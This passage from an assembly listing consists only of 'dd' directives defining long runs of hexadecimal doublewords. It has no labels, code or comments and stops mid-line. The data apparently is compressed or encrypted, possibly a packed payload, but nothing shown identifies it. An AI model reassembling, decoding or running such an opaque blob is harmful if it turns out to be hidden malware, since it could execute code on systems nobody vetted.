dd 0B200CF66h, 0C2E40FEDh, 0DFCE982Fh, 2C40C0B8h, 39F90C2Bh dd 0F2A68100h, 0D6158F22h, 0CD2300C8h, 56931371h, 0CC073361h dd 89A42ED9h, 820C790h, 908B0388h, 0D34C5648h, 0F5B36490h dd 3D05A800h, 12E808D9h, 0E2CC2627h, 3E60014h, 0C71C15A9h dd 8D13D400h, 0F58F4953h, 89B700FCh, 0A19654F2h, 0B80F6C9h dd 18A20087h, 651B0573h, 401DFB12h, 0C380A1E6h, 48566A6Dh dd 0AD715Ch, 4AB1371Fh, 32384391h, 0FDD6C000h, 870A3CDFh dd 404519EAh, 3037BA29h, 0EF00C440h, 0A71D6342h, 393D24h dd 0B9311FE4h, 3F6FD238h, 61FBEA14h, 8350384h, 0F2CF5CE6h dd 0EFECA06Ch, 533FAC5h, 91117B63h, 0F8BBC05Ah, 6800DB34h dd 929DE30Eh, 0F7B414Fh, 3573360Fh, 94802DC9h, 5EB14ABFh dd 1C507800h, 4F2822A2h, 55E6001Ah, 6AF4F7F6h, 0CE027279h dd 9E406B48h, 0C3A86092h, 128D3A27h, 4A2B5B80h, 469D824Fh dd 7F24390Bh, 56785E7h, 856917C0h, 0BBEC0070h, 5D1AC65Bh dd 231C3DF7h, 2E40A9DAh, 0A08C59D2h, 9380F3Bh, 9BC390BBh dd 4AA05006h, 0A900DDA6h, 8710AFD9h, 0EF90C27Eh, 28AD32D4h dd 3FBE478h, 6564D79Dh, 0A49937C1h, 567A703Fh, 252F324h dd 0BBE58039h, 7C74D611h, 785502F7h, 9C831806h, 8DE0BC4Bh dd 0BA3BDC25h, 7D6E012Dh, 1FA33187h, 19BBAB70h, 71C5E835h dd 0F21060A5h, 44776C06h, 19F6DAh, 48C721DBh, 692F853Ah dd 940724h, 9E410400h, 8412C1h, 0EBD1B45h, 3BBB906Dh, 294F6500h dd 2593797Ch, 92D300FBh, 0C9B7A7FDh, 30E527BAh, 790035CBh dd 0BC9942EBh, 0F4B9FDF1h, 15E7F98h, 7157ADEEh, 0E0D7689Bh dd 8F48901Fh, 0C9FF0058h, 59E32A2Bh, 0FB6426DFh, 7E31043Ch dd 55DC811Bh, 0F840D65Eh, 0D100193Fh, 75201797h, 0E9AA2A1h dd 8C3E04B1h, 30825146h, 0F3A37400h, 30B3F865h, 0E5E022h dd 0CFE32715h, 0C15B34DCh, 182E1E70h, 90770051h, 2C1FB0FFh dd 9D70674h, 0F192578Bh, 0D57A7224h, 23C521Ch, 0B04F3B31h dd 404DC256h, 0D5F6C6h, 0AD4ADC4h, 2DCCF2DBh, 53940807h dd 9E10ECE2h dd 99ED18h, 2DDACC0h, 0C126E47h, 53264B00h, 0BF0A70F9h dd 0FB0F58C9h, 1A41713h, 7A067B78h, 9AE0EBCFh, 0BEC0F1A5h dd 94A82B09h, 0CA370019h, 32FF39F2h, 825CDE49h, 27961EA7h dd 0C0C00A8Fh, 58B41435h, 7EE30F94h, 0CB60D295h, 0B6D107B0h dd 1C758E0Fh, 0ABF9873Ch, 69335B50h, 0A6E8F5h, 64223DC8h dd 0B49EEBB1h, 903B58h, 0BD0766C6h, 0F09AE23Eh, 5DCE00EAh dd 72065C7Fh, 0B4004F89h, 18F0AE04h, 75C97796h, 0D83D07F3h dd 0F0D4EC7Fh, 6D4321FAh, 95FB4102h, 14A2014h, 70EF79C0h dd 1E0EE19Ch, 0C0EEA9C9h, 118AD1FBh, 609B00E7h, 873D1D6Ah dd 7600BC53h, 0E2A54291h, 221BAB2h, 74F5C084h, 78C03BC1h dd 57EAFE0h, 596B9400h, 6A6FE72Fh, 624A0072h, 204FD77Dh dd 490255FAh, 0BBC2AF09h, 31B1408Ch, 5FB100DFh, 6C0D7A24h dd 93001ACBh, 3B3E6081h, 708C883h, 2B96B7FAh, 7DE870E9h dd 0A138CB75h, 6FCE00D6h, 0AF83162h, 0D2C91DEBh, 9766C080h dd 2282C3D9h, 8D47F400h, 0C4D03C2Eh, 4E9C0176h, 0E814817Fh dd 85D480B7h, 3A174416h, 7B0203C8h, 103BB6D8h, 0FCB3111Fh dd 2B24A8C0h, 48588851h, 0F41C4F66h, 83495F42h, 6A1C0141h dd 2B78F8A8h, 0F9C12916h, 5E10DC00h, 969FD9h, 0ACB225B3h dd 3835A730h, 0A002DF2h, 9CEF13A4h, 1F590B44h, 8F71DF82h dd 27E70E5Fh, 0A2C10F79h, 0F0922923h, 0B205E0A4h, 1541E30Bh dd 0E10FE305h, 58C268C0h, 594900Ch, 388FA37Fh, 174C8092h dd 0FB30F760h, 7F2311C3h, 97ED0051h, 2EDF8EF0h, 0C3E055Eh dd 3ED61D12h, 0D4484F80h, 246DCDDEh, 1ED80110h, 0E6670E2Dh dd 0B9276000h, 9D00033Eh, 4B9A2417h, 1CBB0A05h, 0FEDD77Eh dd 116566Eh, 1540D968h, 0F61DF876h, 80263Fh, 146875ECh dd 0F6C482D2h, 1877EA50h, 59AF6228h, 4507AAA9h, 0CB8C2E6Bh dd 9479D130h, 0B188C085h, 0A22DB37Eh, 2791FF1Dh, 0C2B211C3h dd 94D1DDC1h, 42DA4C5h, 4A2F17h, 98AAD554h, 497726F4h dd 9F1CC30Bh, 2B8000B9h, 995348h, 0AEA7EB03h, 0BB44EC47h dd 0D9596600h, 0BC0B084Bh, 5BF90062h, 0A4C9C81h, 380017B1h dd 1691A83Ah, 4C070h, 81BB4BD7h, 27445271h, 5D902800h dd 87511183h, 0CF3D03EFh, 8AC03B07h, 0D41E92B1h, 813B6312h dd 51B86082h, 5328D7Bh, 47B25DF2h, 7AEC80F1h, 681844B4h dd 7CB00411h, 0D6E400DAh, 5878C6EDh, 3F387582h, 4E5A52Fh dd 11121830h, 0A80088D7h, 0A3608DD1h, 4C00C822h, 8BEDA114h dd 2C2677E6h, 0F8C0859h, 81E0D544h, 0E95BB78Ah, 0DA00F971h dd 0F357EF86h, 2EB26h, 460DD576h, 19635A3h, 4E2E6300h dd 380AB3DAh, 0AD0E407h, 8B93F0C2h, 38268Ch, 0BB43E036h dd 0D71FB4C0h, 77007931h, 5263B8A4h, 4DDB0051h, 0DDE0FB0Bh dd 8B00F55Ah, 81CAC342h, 0F2C81134h, 0C2DA38C1h, 77792104h dd 2E76C0DBh, 52132551h, 0C5005C09h, 0E3C6D3D1h, 728B0534h dd 801C60EEh, 9403060h, 0CE88F200h, 69D5AB10h, 96EA2Bh dd 1D13A5A2h, 9B5836EEh, 5B8CC500h, 0E7AF64F4h, 1E280043h dd 903A0F60h, 0B70254BEh, 23AEBA29h, 0A88000A6h, 0D12EBC05h dd 580069C7h, 13312D92h, 832B0A08h, 808CDEh, 3F40E8FEh dd 0AE17DF10h, 6804EBE4h, 88065F6h, 3D67B3EEh, 930EABDh dd 0AC9BA730h, 0C579E8B0h, 891D1892h, 0BEC03F69h, 618FD910h dd 0F9C70F52h, 34A0844Eh, 0A6AD379Fh, 0BC745100h, 99878005h dd 5A2804A0h, 8315673Fh, 0D189C7FCh, 6DF7FCC2h, 4BA56E05h dd 0DC7F607h, 8D623CF1h, 0D9052839h, 80283044h, 0CB96D1A8h dd 820D373Dh, 7D36DF0Ch, 80B0A011h, 3842BA93h, 0BE00DE18h dd 60DB3965h, 5803B2E7h, 6AFE6DE6h, 0E86193D5h, 731497CEh dd 9813024Ah, 5D9E1B33h, 0DAE78CA0h, 0D354BE0Ah, 5727F0B0h dd 7F109928h, 3FF9C8h, 8E8D921Ch, 43EEB635h, 83CD7701h dd 59144438h, 0EC741C70h, 12CCB008h, 0A00C3Eh, 78F43AA4h dd 3700B779h, 2C764CBBh, 7735F156h, 0CD707Eh, 0C81C692Eh dd 11CFAD62h, 0CC92B77Bh, 588C2521h, 5C90FDDBh, 7F0060F4h dd 0D0EBE7BDh, 7BD71E73h, 9A21397h, 9D3CC053h, 36060B23h dd 0C941B1E4h, 33FE19AEh, 9CEF7016h, 7F40CCF8h, 0EEE7EBD9h dd 0EE498BDh, 9A47FD93h, 40CA5E1Fh, 88FC7BB8h, 0C0ED3EA9h dd 0A304BD42h, 6CE6F526h, 8BA56C80h, 1D4F008Ch, 722B2EB3h dd 4005A6Dh, 9D932824h, 2C4392h, 0C3155EFDh, 0F6B107DCh dd 0AE61CC1Ch, 8D004464h, 13C9BE4Ah, 0D18900D5h, 0D9836C1Bh dd 1500684Dh, 60EFA3CFh, 0ABE4285h, 135DA0DDh, 9A2000A8h dd 0BA24F68Fh, 9EE9C100h, 8730822Eh, 26CB0355h, 7AB1B7D4h dd 81E0A9C2h, 3B00DE98h, 1721DA3Ah, 0A82F3E48h, 78E646C0h dd 6DB1009Bh, 4F67EF1Ah, 0DC09E0E9h, 0CF281h, 702F84A5h dd 0E2160099h, 0BF987349h, 6C3EFFC5h, 0DD7B8053h, 0E7C0EAC4h dd 0A0941716h, 40800256h, 10785AF5h, 170B9C01h, 2B71B8D8h dd 2542420h, 4BFCD050h, 0F8C1CD5Fh, 0CF14ECC6h, 70358916h dd 232EBC43h, 0E525D038h, 9B4D035Ch, 52BFA726h, 0F01477D7h dd 0D188E0EDh, 1C805D01h, 0F53F2635h, 2E5AC370h, 9AD979h dd 2CA548D8h, 8F004125h, 907319D6h, 43ECB5Fh, 6A4A67A8h dd 0C684C068h, 0F101FAC0h, 8F62F047h, 945142E4h, 9822BD59h dd 0FE99097Eh, 0E00EEAh, 8900A2D2h, 0FF285530h, 1F270A25h dd 0CED9518Ah, 5A002D8Fh, 4A2C07A0h, 2E0C6717h, 0FBE812h dd 0D716BECAh, 750E1209h, 20450342h, 0CB52D030h, 743A0060h dd 6BDC34F8h, 0C800260Ah, 9BF57865h, 700969h, 86A2CAB3h dd 27715EF0h, 0F4C6D59h, 0E024EA84h, 86A137A9h, 22B700CDh dd 0E93F4B19h, 9201C53Eh, 0D46760ABh, 8874F6A5h, 99170076h dd 0A89315A3h, 4E4C7F6Eh, 736B1784h, 8C002E16h, 0C72016C1h dd 65D814E7h, 85018089h, 1D0CD6ACh, 70E0E477h, 0BBE0EE71h dd 6A2B3D07h, 7CC0E378h, 130DBAB0h, 34C126Dh, 6B462854h dd 20F8F084h, 0CA07E8F6h, 2FE75339h, 0E027E925h, 0A9B4202Bh dd 0E2E4780h, 6665CF76h, 6A00100Bh, 0EE053F08h, 72612A00h dd 6AA7E1EAh, 0D76D1FFBh, 62504071h, 0F19658B4h, 746EAD00h dd 2B39C210h, 0E38800EAh, 75C46B73h, 8C0F3D12h, 40DB48CCh dd 0DDC1F62Ch, 725600B0h, 0D399F42Eh, 68011EC9h, 0EBE81483h dd 0CECF2F7h, 4FC1907Fh, 7A43BCE1h, 0A5E65A00h, 39B49D68h dd 381A0C77h, 5D8E96Ch, 84B29500h, 0A18AA481h, 987E0557h dd 0E48DED5Ah, 68006070h, 69230542h, 5DA5FE06h, 0BA00043Bh dd 3AB8DD09h, 26017085h, 9CF1B768h, 184341EEh, 7110E8Fh dd 0D6606F19h, 51C1277Bh, 0D92B600h, 0F93A852Dh, 4771C0FAh dd 3943387Dh, 858185F5h, 0B4E01A30h, 26FF0798h, 41DFE64Dh dd 0BC043289h, 873E18h, 0F70FC76Bh, 4B7B3DE7h, 0DD1E0Ch dd 14DC0B90h, 6400A01Bh, 2E3D6EE8h, 0C70DFA85h, 9076A959h dd 0F9CF9CE5h, 490E8911h, 5C926860h, 0F8F37BFAh, 37157D9Dh dd 1050CE43h, 87880DD7h, 7402A410h, 0C51858E6h, 389C1080h dd 0F50FBAF9h, 0E008EE2Eh, 7BA20B01h, 9AEF0055h, 1119B8D9h dd 397C8D65h, 81A3E13Ah, 0E98EC1AFh, 4470FA1Fh, 0C5680064h dd 3F384DC6h, 47A6C1Ah, 5EF4F002h, 6074B2CBh, 0B16241h dd 0C9508CFAh, 1DDB3EBEh, 111B2207h, 15200FA2h, 75A931D5h dd 0AC0400C7h, 0D7A693BEh dd 37023C63h, 2DC8FBEAh, 0F85B4060h, 8FFA036Eh, 175ABEC1h dd 8002F83Eh, 68E0CD36h, 1D062F55h, 182E4D90h, 8E50211Fh dd 0E813CE00h, 7888FA08h, 7BDC00EFh, 47E261C0h, 76008ED8h dd 0E8FBBC49h, 0C5E42FAh, 65D97164h, 99241210h, 76810CF9h dd 5431ACA9h, 809AE8F3h, 0C43F6695h, 490821EEh, 88E86820h dd 222F1E34h, 0A1F159D4h, 0ECCEBDD8h, 1CB3EC20h, 5D4F2088h dd 0A2EE0125h, 891D5FCAh, 0A02C338h, 0F1408463h, 639D6EAh dd 19E5C663h, 0F36E09EEh, 0D6B24021h, 1CC2AB9Eh, 44B85AA7h dd 40E40641h, 0D71FC73Ch, 15DC00CFh, 970DDA5Ah, 0D5005C40h dd 0AD071042h, 6F91B2Ah, 5BA811D0h, 2207B106h, 7DB1DC42h dd 85FAED50h, 6098907Ah, 6AB7212Bh, 4E005DDCh, 89F858DAh dd 6D86045h, 0F4EAA202h, 7801D0F2h, 540A0E42h, 9DC807C4h dd 6683D39h, 0B1A43800h, 833FBE14h, 2CCFBA00h, 725E9590h dd 0E0EA0073h, 94C352F4h, 0B35CB43Dh, 0B89E00A2h, 0AC9A9BBBh dd 154072Fh, 501298E2h, 6B493E66h, 37F7801h, 0DE7D15B7h dd 3F7363FCh, 0EB8FFDC1h, 8B00E180h, 85137C12h, 87494700h dd 6459A3FBh, 0EC29E630h, 9E77008Bh, 0B0C49F0Eh, 0F9001680h dd 6F5625E4h, 8AA8CFh, 94A208AFh, 0FBFF484Fh, 97B73A00h dd 95675209h, 13E0FF8Eh, 0C08A0F0Eh, 7A6FA904h, 77E027EFh dd 2C836519h, 0CCF1F00h, 0A324C31Eh, 5822C756h, 0EED960F0h dd 18004DE5h, 536325EBh, 58939E12h, 2F0063C5h, 0B6FDFF13h dd 2501EC28h, 1E10C1A3h, 0DA6063A5h, 71C20040h, 0DD7A49CCh dd 567492FFh, 0F220A00h, 5119816Dh, 0F47B28C9h, 0B043E1ACh dd 4EF9C0E6h, 0F02339D2h, 40F0CD1h, 0D40CF48Eh, 9E009810h dd 80B83277h, 6957BCh, 0CDEB3CD6h, 31F49CC3h, 0EB69103h dd 7179AC98h, 0A8444429h, 84EDCF44h, 0D4898371h, 0BD172841h dd 3103912h, 13B58B82h, 0C42F0C14h, 92445528h, 3DA42065h dd 2519CC42h, 476151B0h, 48AEA414h, 0B2234210h, 5221DD24h dd 826412ABh, 25B9CA64h, 351404E9h, 28E84AA0h, 94287F08h dd 3A1964C5h, 0BD5C29A9h, 9F61BC51h, 4280EDFFh, 0D8B0F429h dd 955A26B2h, 392C4Fh, 5D4B60CEh, 90008E76h, 0F9B220FFh dd 0F2BFBB0h, 0E4721D0Ah, 0F8689520h, 5A02131Bh, 19ED9DA1h dd 0B1566005h, 8A633AF5h, 8E807EB8h, 3E384218h, 80EB5B45h dd 9F97F712h, 93DE23h, 4B1DA8E1h, 0C6676E3Dh, 0CC1C47F0h dd 3280DD06h, 0D038548Ch, 27DF0045h, 41F1EB0Ch, 0B24C184h dd 10018B7h, 2034E693h, 90B000A9h, 5C956115h, 2B312F3Ah dd 0D94FD0E1h, 0B630C0h, 0D606DC4Ah, 944017FAh, 7876303h dd 1C78F4Bh, 0D3CB1990h, 80C33F60h, 7392EC68h, 15BF10Ah dd 0FA31AE54h, 0D97C6CFEh, 0C58083C3h, 0A1105001h, 7BE0A74Fh dd 0D8E30062h, 8393A603h, 0D7031465h, 0E7B23F52h, 5D848068h dd 66D400DAh, 14541CD6h, 0A007692Fh, 4CDF7686h, 156ED950h dd 0E4940017h, 4F9FEA12h, 98005838h, 4885F572h, 0AC1B02h dd 0F70EBAA3h, 373A6293h, 0F1C65F00h, 5249631Dh, 0E01B6268h dd 0C05F705Dh, 152B42h, 6D65DAF7h, 959CC8F5h, 0A9F86260h dd 37E4FD3h, 0FD52AD72h, 9188334Ah, 2C005C1Fh, 871D1785h dd 9BA230h, 67156A4Ch, 5FA4B8B9h, 80EA1F3Fh, 8C212BA9h dd 3F7880h, 8D8BA285h, 2326670Fh, 0F04148h, 22041EE8h dd 2F06871h, 75AABB2Fh, 1CE044B1h, 0B400742Dh, 95AF3BCFh dd 84C865h, 473153A5h, 6E06D42Ah, 0AEF62F00h, 211B9796h dd 9EFC01h, 2ABFDE69h, 3846E37Bh, 14E9ED00h, 98F4EC7h dd 6B9F01C3h, 0F4ADBB90h, 0CF88ECD5h, 99C2FB00h, 0C71C76FEh dd 0A6B400F7h, 4F46B1A1h, 10C08E56h, 6EFD2360h, 42E304E6h dd 0D0B2C47Dh, 46F35154h, 0C1C5800h, 7AE6AAE7h, 1474019Ch dd 8B502E5Eh, 0A48DCC9Eh, 0EF070400h, 0EA5C990Ah, 89A500F1h dd 33C1ED16h, 0EB3D0DB5h, 693FF2B4h, 926F008Eh, 0F1D91E8h dd 85060096h, 0E7123034h, 0B200BA74h, 5CE208B5h, 3C4CC20Dh dd 0C685A1A7h, 878F38CFh, 678460F6h, 69380BB1h, 50E40020h dd 9AB2A842h, 0FB94005Ch, 0CDE55304h, 35018557h, 773E90D5h dd 69D525C1h, 4709F8h, 4DE9EB19h, 54BE1F87h, 8ACF200h dd 979EC017h, 0A55F3E11h, 0B5591Dh, 66B720D7h, 0D50021B2h dd 3FC665F3h, 367D99h, 17FF429Eh, 0A788EC23h, 6427131Eh dd 0AEBE35C3h, 0F074F86Ah, 8BC41CEFh, 0BB40805Fh, 604E55FAh dd 1FFDB39h, 44C9EB4Bh, 19EC7088h, 6C7500A1h, 81DD59C1h dd 7700CE34h, 5117C03h, 382C8EB0h, 2600A28Ch, 40615D5Ah dd 0A800594Fh, 9A7DA953h, 45CC19Bh, 0E63E6A21h, 0BCEC8012h dd 2B385042h, 0FB711FC3h, 4474D3C0h, 7B970h, 6A881CE7h dd 0D5610C29h, 0C4391100h, 7E64365Bh, 0FC00028h, 6953197Ch dd 2000EA8Fh, 0F8263AF2h, 1281ACEBh, 0FB25D061h, 0D73CCC00h dd 28E354h, 0F122B653h, 751B95E7h, 0F8FA643Fh, 8BAD3E02h dd 0E08C8011h, 9CBC0Dh, 1E91E219h, 0C02AE9D5h, 1D20500h dd 443ACBEEh, 2E063CE4h, 0C063FD1Dh, 723F45B1h, 940E922Dh dd 0A3A0DD4Dh, 0C088106Ah, 327630Eh, 2E91CC15h, 7D8C760h dd 0EF3A11A8h, 0D3E90FF0h, 99C47F5h, 0B157EE00h, 2629003Fh dd 0B9C4DA0Ch, 8C28957Ch, 5203B460h, 0C88A4EDEh, 0A4509F16h dd 8038D5h, 0B29DFF99h, 0C6592F89h, 6C9AF209h, 2A0F80BDh dd 77972D8h, 0D31B1AB4h, 513C0346h, 0A21C54D0h, 2543C900h dd 0FFD4EB7Dh, 8C395089h, 3E1A1CDDh, 0EC0E00F0h, 0B36CCB0Bh dd 9DB95D3Bh, 6B8370A2h, 9044A5E3h, 5EDA0Fh, 12D6EB82h dd 0A6A27823h, 3BFB6D1Dh, 0AC185940h, 2DBAB0h, 0F2D95D7Eh dd 7B0BB9A4h, 8D58FB75h, 0B03E0072h, 0C13A8BCh, 0AC581E71h dd 1F860631h, 5900905Dh, 99CF9B06h, 0E2C2F51Ch, 5818C06Ah dd 0FC9C194Bh, 12DD9D00h, 2A1A0DEFh, 88DC002Fh, 61173C4h dd 14005380h, 5B9E49Dh, 0AF21AE5h, 0F1650BDDh, 0C3CF1EB4h dd 44BB6B9Eh, 0FB3B8990h, 0F4011F72h, 87B963CCh, 9C4010A4h dd 12C34126h, 0F3D3FAh, 7C0E9B28h, 5407E2C7h, 67D82342h dd 1C83A400h, 73992463h, 0B35100DFh, 8BCA3BD0h, 5B41D500h dd 793E6996h, 9A15007Fh, 64514C0Dh, 0D0E06C59h, 0DD194800h dd 0CC5313BDh, 0C1EE39DFh, 0DB8DAA80h, 80DCAD02h, 4DB04A00h dd 0A7DAA4AFh, 20294C57h, 714FEB01h, 0D4595814h, 9C0BF29Ah dd 0EAF6E3h, 2AD9C08Bh, 0C8EF0040h, 5F66470Ch, 8D00FC2Dh dd 0C541EA42h, 2EBF223Ah, 804849F9h, 0DA599A19h, 0F0929F2Ah dd 0DD2F2501h, 3162E268h, 1EA80430h, 0CBAEB4ABh, 0F7601Dh dd 0F166850Bh, 5C50047h, 0A94DCFF4h, 1C00C462h, 0DE21704Eh dd 0A4FA2Fh, 0BA83ABE1h, 6A13EF81h, 0D780F01Fh, 8000424h dd 74B88AFh, 4F010014h, 25175FCEh, 830082F7h, 1D286860h dd 93656Bh, 0F13A161Ah, 37A35CBFh, 3447AA0Fh, 0DC102053h dd 1856A7DBh, 0A04666B5h, 0D102E45Bh, 31C4C343h, 0AE5E4053h dd 7096001Eh, 8B4B2CAFh, 0D20073ABh, 252FFD49h, 0E8CE7A21h dd 6BC1004Ah, 2EEEF6B6h, 0FE008A9Ch, 2B8A5EDh, 9A362A4h dd 0CE6FEC50h, 0B7012C00h, 0F1009844h, 0A4EE46E5h, 4F89103h dd 3DECA6B1h, 0C09087ADh, 64A9F080h, 6ED4E904h, 70C02857h dd 145DF65h, 4F6D18F7h, 0CF76A76Ch, 1BFC002h, 0A05EEF29h dd 79AF9688h, 21E46070h dd 850C3EDAh, 8A00227Fh, 419AEA33h, 382DC0F6h, 58035012h dd 0A27B380Bh, 2784EE0h, 9FFC3902h, 0E01E6B98h, 0F0EB6C0Fh dd 0E01A00A1h, 0A49DAA2Fh, 0BF2CAD32h, 0D3002CE8h, 0FAF17A4Dh dd 0BE451365h, 0C4140070h, 0CCE71847h, 8071F338h, 5B228CBAh dd 4F207EFh, 4B39C25h, 6904C2EAh, 0DD041044h, 166B8A30h dd 0E4712880h, 1E2C0092h, 0C559B999h, 76588863h, 945F005Ch dd 1CF23C06h, 1CCEEAF9h, 80C29169h, 1492D6D5h, 800DB1F1h dd 0A8E2ADB5h, 4CBEFAD8h, 0DF054855h, 400D1812h, 2C523B0h dd 0E609B7F1h, 204C2A50h, 0D426D368h, 79880943h, 0FC0E44D1h dd 9415F6E0h, 8A051AB9h, 0E682D525h, 0AEA96480h, 0E27E0085h dd 0FA324BCCh, 0CE0316C6h, 0C58219FBh, 1B8A012Dh, 0FD70B693h dd 412830DEh, 0A4F50C00h, 3B9E12CAh, 13F0017Ch, 57E52D9Dh dd 888020A2h, 0CC002F73h, 0D2869487h, 1C97DE39h, 410384A4h dd 92A8E8D5h, 0A513D0EEh, 52B59500h, 0B623E13Fh, 0B4C8072Ah dd 118F71D4h, 70D3275Bh, 1090433Eh, 4D60DB00h, 7C50DC4Eh dd 8CF301ACh, 5D7FD9C3h, 4C8AF88Dh, 0EF2DFA03h, 0F8441825h dd 3715110h, 6428DC6Ch, 0ED804DE2h, 74908570h, 88FFA700h dd 0B6301110h, 52A4A8A8h, 0C1560094h, 0D9511A2Dh, 1400E245h dd 6D585C0Ah, 92B1050Fh, 8BE71358h, 7FCA0080h, 8A44803h dd 98044090h, 0F5ABB85Ch, 0F837A900h, 8883FE7Fh, 7EB1BA8Dh dd 72961239h, 84DC00E5h, 8027588Ah, 92A63609h, 9BA0800Eh dd 0AF3C2Fh, 0B7F4DCF6h, 29189D2Bh, 45058701h, 0C9B42EB1h dd 0B88219EDh, 2D5E2431h, 4F1F404Eh, 824B9FC7h, 9458006Ch dd 3D63D34h, 0E447DD0Ch, 41D7038Dh, 240D2D1Bh, 0B5125338h dd 4442ED6h, 90D10B63h, 97EC14E9h, 0A570C512h, 0B6AB0A0h dd 0DCD0CA01h, 88BDAA58h, 1FB814FCh, 701B8Bh, 0ED3D4D5Eh dd 0CB1E05CDh, 230E66F8h, 4072046h, 5C405F80h, 0A000D1BDh dd 368C1179h, 0D730EE93h, 4CEA109Fh, 61F4C3h, 6A68D23Bh dd 0EB7A8A6Dh, 0E275A300h, 0CA249359h, 95A7007Dh, 0A8DBFEECh dd 0B63ACC03h, 0BBF4D03Bh, 5115F50Fh, 18FD20DFh, 176BA91Ch dd 1DF916DEh, 19F7EC3h, 99CD8004h, 63BFACECh, 75232200h dd 8DB24AC8h, 0FEE200D0h, 2D3C1BC5h, 34B06A91h, 0B7A24612h dd 3FE90098h, 0CE807638h, 9535FC27h, 5907E1DBh, 56C27BE5h dd 4E7AC390h, 964C14BDh, 0B809CC7Eh, 0A005A65Ah, 0E970C849h dd 67633Dh, 79A3E5EDh, 0B84759C7h, 0F9423820h, 0F4E26E00h dd 0D31C0481h, 7093B90Eh, 1946C096h, 1359F30h, 3CF8F6F2h dd 32025B60h, 30B22E24h, 0E9256800h, 132467h, 4D8EDB2Ch dd 3D3F73Fh, 9D001970h, 0E37A8747h, 903BA070h, 9E0041Bh dd 903AA415h, 83D7B3A0h, 0EB061600h, 60C71EB9h, 0B61305FEh dd 0C0471229h, 0FF1CE672h, 377D43F4h, 31B7330Fh, 0FD4DA0E8h dd 0C06EC890h, 0A94E53B0h, 0C204CD72h, 0FFFA8AC5h, 340C9881h dd 7ACC8848h, 5C6913D4h, 0D3180E30h, 2C8458C6h, 0DE26BB80h dd 15B4A12h, 942008C1h, 0E7CC8431h, 0E59B00D9h, 3F57B57Ch dd 0C025286Eh, 95C80416h, 9E654FC0h, 1CD7195Bh, 0E8621805h dd 7500C44Bh, 79E85695h, 113523h, 8C0A773Dh, 788EA781h dd 0D910E300h, 0DC039061h, 20600E95h, 47808545h, 0B567A38Eh dd 7E3E8A00h, 0DB743B5Dh, 43F60028h, 75093C04h, 11F203B2h dd 1E7AD807h, 0C610A445h, 7829E4Ah, 67726ABh, 0FAAAB180h dd 74BC40C0h, 0A5003109h, 5C5BB4FCh, 7E62C2h, 3A72381Ah dd 0E8D8541Eh, 0EF499000h, 9FF81F4Eh, 2FCB87Bh, 9BAD9C8Ah dd 106157D1h, 0CCAAC8A9h, 183D032Ch, 0E4DF0100h, 71A6A01Ch dd 7C089A25h, 4C80006Bh, 0C1230874h, 1702EC56h, 6E82DB87h dd 71B0E164h, 758EFCh, 8D26597Dh, 5B6B1848h, 559D9800h dd 0C7202987h, 4BE0F867h, 469870E4h, 0F8A0D612h, 0D7027AFh dd 4F58621Fh, 0E36BCFh, 74604A3Fh, 0AE10C075h, 0F9F1EAA3h dd 0F4FBF388h, 78D02CF6h, 0A45D0020h, 6C3213B3h, 284B3624h dd 80C75708h, 9985329h, 19306A54h, 77D366A4h, 615C0055h dd 3AFBEE87h, 4FB8BFB4h, 0C76D1100h, 3D0DA15Ah, 2AB90066h dd 7B72F505h, 0BB50E347h, 0A90073B2h, 0E29AE543h, 4A8DCD4h dd 7B108339h, 94846Fh, 9F915ABFh, 5900C0FEh, 1E2B69DCh dd 0FEAFBA22h, 0C4A20792h, 0F30DBD45h, 16806DABh, 0B500E3E2h dd 0CE720988h, 26A418Dh, 0ED7CEE05h, 40607164h, 0F6426286h dd 0E81AE900h, 0F078D7B7h, 1F4CCE00h, 967E8456h, 55A20008h dd 49912502h, 17778C41h, 0AD8F5101h, 0D026B76Bh, 5AC6960h dd 0FF53FA25h, 0DA980E81h, 0D2C0D875h, 52B1C422h, 99C15300h dd 17DDCF14h, 9846E81Ch, 0EBBB0650h, 11882FD4h, 1B3F820Fh dd 23514017h, 4F21A2h, 0D622D9BFh, 6E0309A1h, 0E5E833EEh dd 40E9AF00h, 97461506h, 0A0A0A00Bh, 0ED20557h, 1EAA3Dh dd 811F9E83h, 0AF24767Ch, 0A100D829h, 0F12334F8h, 820C0025h dd 1136F3FEh, 0CC00665Ch, 19694E6Eh, 0B63E0Bh, 37B19CF6h dd 0D4E36C4Dh, 304C783Eh, 10C411DAh, 0ABC901BDh, 0B81505A9h dd 0F7898BACh, 2BB01031h, 19213D64h, 82942724h, 57743DCCh dd 41168840h, 0EBCDDB00h, 0D7B8C3C7h, 5F7D0052h, 0F29D09EAh dd 0D6072859h, 9CFB6E68h, 5C168059h, 61AE46Ah, 3892E535h dd 0CE0021E0h, 0C8C0F23Ah, 551FCCAh, 0E3794715h, 0A8D08023h dd 2F005D69h, 0CC579E32h, 4B4B18Eh, 70B2B35h, 5F28A0D4h dd 4D679900h, 0CEF1E676h, 376B0091h, 5304C750h, 64B8829Ch dd 0A3183A00h, 738743C8h, 0A0C00951h, 0A4E0161Bh, 6D3949B3h dd 5408E65h, 400D7E2h, 3112F8EDh, 34EB588Ch, 0BC332404h dd 3A54B084h, 5E0EA900h, 0F7E4DBCAh, 562C0046h, 8E162A11h dd 0A00088E7h, 8AFF01Fh, 0B219B93Ch, 9CCCB12Ch, 8D00E05Fh dd 675A8604h, 5DCD14h, 6171348Ch, 0E03BFC9Ch, 8B5BB01h dd 0CA2BAE5Ch, 0F14E3F4h, 91B15064h, 9F988EE0h, 160F0766h dd 811AA6ACh, 24EAB8E8h, 0E89085E8h, 43026ECh, 2D4126Fh dd 8C2A9F7Ch, 93E42070h, 989E4017h, 81F9813h, 90803CA4h dd 79B8F252h, 67AF0974h, 820E26Ah, 0B5471CD8h, 0A03B27h dd 0CBD91EC4h, 0EBF242h, 21AF0D5Eh, 0FC12D23Ah, 17D75200h dd 5429ACD0h, 0BBE503DCh, 0F056A471h, 4925B580h, 0AFAEBC00h dd 55ED3191h, 4C50987Bh, 0DF1EE2C0h, 1865772h, 0A30D9B8Ch dd 9DFEE4C2h, 0C3F7E204h, 480E340h, 2FBCD53h, 0C5EA7971h dd 0A8D22532h, 4868983Ah, 9F0C8110h, 61306FDCh, 341900A5h dd 4DDD6B84h, 4526C7E9h, 45264051h, 1172802Dh, 51E64F1h dd 7FC88ED8h, 0EA94009Ah, 922DB632h, 3AB31917h, 0ADC0001Eh dd 44C37114h, 0E905254Dh, 47BC6C80h, 0B43F59FEh, 0EDFF82E2h dd 401AF85Fh, 0F64B08h, 59DD9BCBh, 197886AEh, 0C916EC00h dd 9EB180DEh, 18389066h, 517E89CDh, 7900C63Ch, 7FD49B1Fh dd 